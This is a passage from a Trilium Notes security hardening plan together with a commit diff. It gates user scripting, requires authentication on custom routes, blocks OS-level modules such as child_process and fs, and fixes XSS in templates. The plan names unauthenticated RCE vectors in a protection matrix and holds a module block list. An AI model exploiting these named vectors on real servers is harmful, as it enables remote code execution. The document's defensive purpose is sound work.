function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
return;
}
// ... existing code
}
```
**Step 3: Gate frontend startup/widget bundles**
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
```typescript
import { isScriptingEnabled } from "../../services/scripting_guard.js";
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return { scripts: [], superScripts: [] };
}
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
```
---
## Task 5: Add authentication to `/custom/*` routes
**Files:**
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
**Step 1: Add auth check with opt-out**
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
```typescript
import auth from "./auth.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// ... existing path parsing code ...
for (const attr of attrs) {
// ... existing matching code ...
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
// ... existing execution code ...
}
}
}
```
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
In `packages/commons/src/lib/builtin_attributes.ts`, add:
```typescript
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
```
**Step 3: Verify TypeScript compiles**
**Step 4: Commit**
```
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
```
---
## Task 6: Restrict `require()` in ScriptContext
**Files:**
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
**Step 1: Add module whitelist**
Replace the unrestricted `require()` fallback with a whitelist:
```typescript
// Modules that are safe for user scripts to require.
// These do NOT provide filesystem, network, or OS access.
const ALLOWED_MODULES = new Set([
// Trilium built-in modules (resolved via note titles, not Node require)
// -- these are handled before the fallback
// Safe utility libraries available in node_modules
"dayjs",
"marked",
"turndown",
"cheerio",
"axios", // already exposed via api.axios, but scripts may require it directly
"xml2js", // already exposed via api.xml2js
"escape-html",
"sanitize-html",
"lodash",
// Trilium-specific modules
"trilium:preact",
"trilium:api",
]);
// Modules that are BLOCKED even when scripting is enabled.
// These provide OS-level access that makes RCE trivial.
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
class ScriptContext {
// ... existing fields ...
require(moduleNoteIds: string[]) {
return (moduleName: string) => {
// First: check note-based modules (existing behavior)
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
const note = candidates.find((c) => c.title === moduleName);
if (note) {
return this.modules[note.noteId].exports;
}
// Second: check blocked list
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Third: allow if in whitelist, otherwise block
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
};
}
}
```
**Step 2: Verify TypeScript compiles, run tests**
**Step 3: Commit**
```
feat(security): restrict require() in script context to whitelisted modules
```
---
## Task 7: Filter dangerous attributes from sync
**Files:**
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
**Step 1: Add attribute filtering in `updateNormalEntity`**
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
```typescript
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import log from "./log.js";
// In updateNormalEntity, after preProcessContent:
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
// Prefix dangerous attributes when scripting is disabled, same as safeImport
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
}
}
```
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): filter dangerous attributes from sync when scripting is disabled
```
---
## Task 8: Restrict EJS share templates when scripting is disabled
**Files:**
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
**Step 1: Add scripting check before EJS rendering**
In `renderNoteContentInternal`, wrap the user template check:
```typescript
import { isScriptingEnabled } from "../services/scripting_guard.js";
// In renderNoteContentInternal, around lines 200-229:
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// ... existing EJS rendering code ...
}
```
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): skip user EJS share templates when scripting is disabled
```
---
## Task 9: Desktop auto-enable scripting
**Files:**
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
**Step 1: Auto-enable for desktop**
After the `config` object is built, add:
```typescript
import { isElectron } from "./utils.js";
// At the bottom, before export:
// Desktop builds always have scripting enabled (single-user trusted environment)
if (isElectron) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
```
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
**Step 2: Check if `isElectron` is available in config.ts scope**
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
**Step 3: Commit**
```
feat(security): auto-enable scripting for desktop builds
```
---
## Task 10: Add log warnings when scripting is enabled
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
**Step 1: Add startup log**
In the server startup path, after config is loaded:
```typescript
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
}
```
**Step 2: Commit**
```
feat(security): log warning when scripting is enabled at startup
```
---
## Summary of Protection Matrix
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|---|---|---|---|
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |

View File

@@ -151,9 +151,10 @@
runHook postInstall
'';
# This file is a symlink into /build which is not allowed.
# Symlinks pointing to /build directory are not allowed in the Nix store.
# This removes all dangling symlinks that point to the temporary build directory.
postFixup = ''
find $out/opt -name prebuild-install -path "*/better-sqlite3/node_modules/.bin/*" -delete || true
find $out/opt -type l -lname '/build/*' -delete || true
'';
components = [

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/source",
"version": "0.102.1",
"version": "0.102.2",
"description": "Build your personal knowledge base with Trilium Notes",
"directories": {
"doc": "docs"
@@ -48,7 +48,7 @@
"devDependencies": {
"@electron/rebuild": "4.0.3",
"@fast-csv/parse": "5.0.5",
"@playwright/test": "1.59.0",
"@playwright/test": "1.59.1",
"@triliumnext/server": "workspace:*",
"@types/express": "5.0.6",
"@types/js-yaml": "4.0.9",
@@ -59,7 +59,7 @@
"chalk": "5.6.2",
"cross-env": "10.1.0",
"dpdm": "4.0.1",
"esbuild": "0.27.4",
"esbuild": "0.27.5",
"eslint": "10.1.0",
"eslint-config-preact": "2.0.0",
"eslint-config-prettier": "10.1.8",
@@ -105,7 +105,7 @@
"@codemirror/language": "6.12.3",
"@lezer/highlight": "1.2.3",
"@lezer/common": "1.5.1",
"mermaid": "11.13.0",
"mermaid": "11.14.0",
"preact": "10.29.0",
"roughjs": "4.6.6",
"@types/express-serve-static-core": "5.1.1",
@@ -158,6 +158,7 @@
"handlebars@<4.7.9": ">=4.7.9",
"qs@<6.14.2": ">=6.14.2",
"minimatch@<3.1.4": "^3.1.4",
"minimatch@3>brace-expansion": "^1.1.13",
"serialize-javascript@<7.0.5": ">=7.0.5",
"webpack@<5.104.1": ">=5.104.1"
},

View File

@@ -21,7 +21,7 @@
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.0",
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",

View File

@@ -22,7 +22,7 @@
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.0",
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",

View File

@@ -24,7 +24,7 @@
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.0",
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",

View File

@@ -24,7 +24,7 @@
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.0",
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
@@ -54,6 +54,6 @@
},
"dependencies": {
"@ckeditor/ckeditor5-icons": "48.0.0",
"mathlive": "0.109.0"
"mathlive": "0.109.1"
}
}

View File

@@ -24,7 +24,7 @@
"ckeditor5-metadata.json"
],
"devDependencies": {
"@ckeditor/ckeditor5-dev-build-tools": "55.3.0",
"@ckeditor/ckeditor5-dev-build-tools": "55.3.1",
"@ckeditor/ckeditor5-inspector": ">=4.1.0",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",

View File

@@ -183,7 +183,7 @@ export default class MermaidEditing extends Plugin {
const mermaidSource = data.item.getAttribute( 'source' ) as string;
const domElement = this.toDomElement( domDocument );
domElement.innerHTML = mermaidSource;
domElement.textContent = mermaidSource;
window.setTimeout( () => {
// @todo: by the looks of it the domElement needs to be hooked to tree in order to allow for rendering.
@@ -219,7 +219,7 @@ export default class MermaidEditing extends Plugin {
const domPreviewWrapper = domConverter.viewToDom(child);
if ( domPreviewWrapper ) {
domPreviewWrapper.innerHTML = newSource;
domPreviewWrapper.textContent = newSource;
domPreviewWrapper.removeAttribute( 'data-processed' );
this._renderMermaid( domPreviewWrapper );

View File

@@ -14,9 +14,5 @@
"@triliumnext/ckeditor5-mermaid": "workspace:*",
"ckeditor5": "48.0.0",
"ckeditor5-premium-features": "48.0.0"
},
"devDependencies": {
"@smithy/middleware-retry": "4.4.46",
"@types/jquery": "4.0.0"
}
}

View File

@@ -18,7 +18,7 @@
"@codemirror/legacy-modes": "6.5.2",
"@codemirror/search": "6.6.0",
"@codemirror/state": "6.6.0",
"@codemirror/view": "6.40.0",
"@codemirror/view": "6.41.0",
"@fsegurai/codemirror-theme-abcdef": "6.2.3",
"@fsegurai/codemirror-theme-abyss": "6.2.3",
"@fsegurai/codemirror-theme-android-studio": "6.2.3",
@@ -52,6 +52,8 @@
"codemirror-lang-elixir": "4.0.1",
"codemirror-lang-hcl": "0.1.0",
"codemirror-lang-mermaid": "0.5.0",
"eslint-linter-browserify": "10.1.0"
"@eslint/js": "9.39.4",
"eslint-linter-browserify": "10.1.0",
"globals": "17.4.0"
}
}

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/commons",
"version": "0.102.1",
"version": "0.102.2",
"description": "Shared library between the clients (e.g. browser, Electron) and the server, mostly for type definitions and utility methods.",
"private": true,
"type": "module",
@@ -16,7 +16,6 @@
},
"dependencies": {
"dayjs": "1.11.20",
"dayjs-plugin-utc": "0.1.2",
"marked": "17.0.5"
}
}

View File

@@ -19,6 +19,7 @@ export default [
{ type: "label", name: "runOnInstance", isDangerous: false },
{ type: "label", name: "runAtHour", isDangerous: false },
{ type: "label", name: "customRequestHandler", isDangerous: true },
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
{ type: "label", name: "customResourceProvider", isDangerous: true },
{ type: "label", name: "widget", isDangerous: true },
{ type: "label", name: "noteInfoWidgetDisabled" },
@@ -81,6 +82,7 @@ export default [
{ type: "label", name: "webViewSrc", isDangerous: true },
{ type: "label", name: "hideHighlightWidget" },
{ type: "label", name: "iconPack", isDangerous: true },
{ type: "label", name: "docName", isDangerous: true },
{ type: "label", name: "printLandscape" },
{ type: "label", name: "printPageSize" },
@@ -106,8 +108,8 @@ export default [
{ type: "relation", name: "widget", isDangerous: true },
{ type: "relation", name: "renderNote", isDangerous: true },
{ type: "relation", name: "shareCss" },
{ type: "relation", name: "shareJs" },
{ type: "relation", name: "shareJs", isDangerous: true },
{ type: "relation", name: "shareHtml" },
{ type: "relation", name: "shareTemplate" },
{ type: "relation", name: "shareTemplate", isDangerous: true },
{ type: "relation", name: "shareFavicon" }
];

View File

@@ -295,6 +295,20 @@ export interface TextRepresentationResponse {
message?: string;
}
export interface OCRProcessResponse {
success: boolean;
message?: string;
result?: {
text: string;
confidence: number;
extractedAt: string;
language?: string;
pageCount?: number;
};
/** The minimum confidence threshold that was applied (0-1 scale). */
minConfidence?: number;
}
export interface IconRegistry {
sources: {
prefix: string;

View File

@@ -11,8 +11,5 @@
"206",
"stream",
"typescript"
],
"dependencies": {
"tslib": "2.8.1"
}
]
}

View File

@@ -1,6 +1,6 @@
{
"name": "@triliumnext/pdfjs-viewer",
"version": "0.102.1",
"version": "0.102.2",
"private": true,
"scripts": {
"build": "tsx scripts/build.ts",

View File

@@ -26,15 +26,15 @@
"dependencies": {
"fuse.js": "7.1.0",
"katex": "0.16.44",
"mermaid": "11.13.0"
"mermaid": "11.14.0"
},
"devDependencies": {
"@digitak/esrun": "3.2.26",
"@triliumnext/ckeditor5": "workspace:*",
"@typescript-eslint/eslint-plugin": "8.58.0",
"@typescript-eslint/parser": "8.58.0",
"dotenv": "17.3.1",
"esbuild": "0.27.4",
"dotenv": "17.4.0",
"esbuild": "0.27.5",
"eslint": "10.1.0",
"highlight.js": "11.11.1",
"typescript": "6.0.2"

View File

@@ -100,7 +100,7 @@
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
const headingMatches = [...content.matchAll(headingRe)];
content = content.replaceAll(headingRe, (...match) => {
@@ -181,7 +181,8 @@ content = content.replaceAll(headingRe, (...match) => {
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
for (const childNote of note[action]()) {
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
%>
<li>

View File

@@ -57,6 +57,6 @@
%>
<div class="navigation">
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
</div>

View File

@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
let linkHref;
if (isExternalLink) {
linkHref = note.getLabelValue("shareExternal");
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
} else if (note.shareId) {
linkHref = `./${note.shareId}`;
}

1444
pnpm-lock.yaml generated

File diff suppressed because it is too large Load Diff

View File

@@ -53,7 +53,8 @@ export default class BuildHelper {
"better-sqlite3",
"pdfjs-dist",
"./xhr-sync-worker.js",
"vite"
"vite",
"tesseract.js"
],
metafile: true,
splitting: false,
@@ -67,6 +68,14 @@ export default class BuildHelper {
minify: true
});
writeFileSync(join(this.outDir, "meta.json"), JSON.stringify(result.metafile));
// Tesseract.js is marked as external above because its worker runs in
// a separate worker_thread. Copy the worker source, WASM core and all
// transitive runtime deps so they are available in dist/node_modules.
this.copyNodeModules([
"tesseract.js", "tesseract.js-core", "wasm-feature-detect",
"regenerator-runtime", "is-url", "bmp-js"
]);
}
buildFrontend() {

View File

@@ -6,8 +6,9 @@ import { isNixOS } from "./utils.mjs";
const workspaceRoot = join(import.meta.dirname, "..");
// On NixOS, re-execute this script inside `nix develop` to get access to Python and other build tools
if (isNixOS() && !process.env.IN_NIX_SHELL) {
// On NixOS, re-execute this script inside `nix develop` to get access to Python and other build tools.
// Skip this if we're already inside a nix shell or a nix build (NIX_BUILD_TOP is set during `nix build`).
if (isNixOS() && !process.env.IN_NIX_SHELL && !process.env.NIX_BUILD_TOP) {
console.log("Detected NixOS, re-running electron-rebuild inside 'nix develop'...");
try {
execSync("nix develop -c pnpm exec tsx scripts/electron-rebuild.mts", {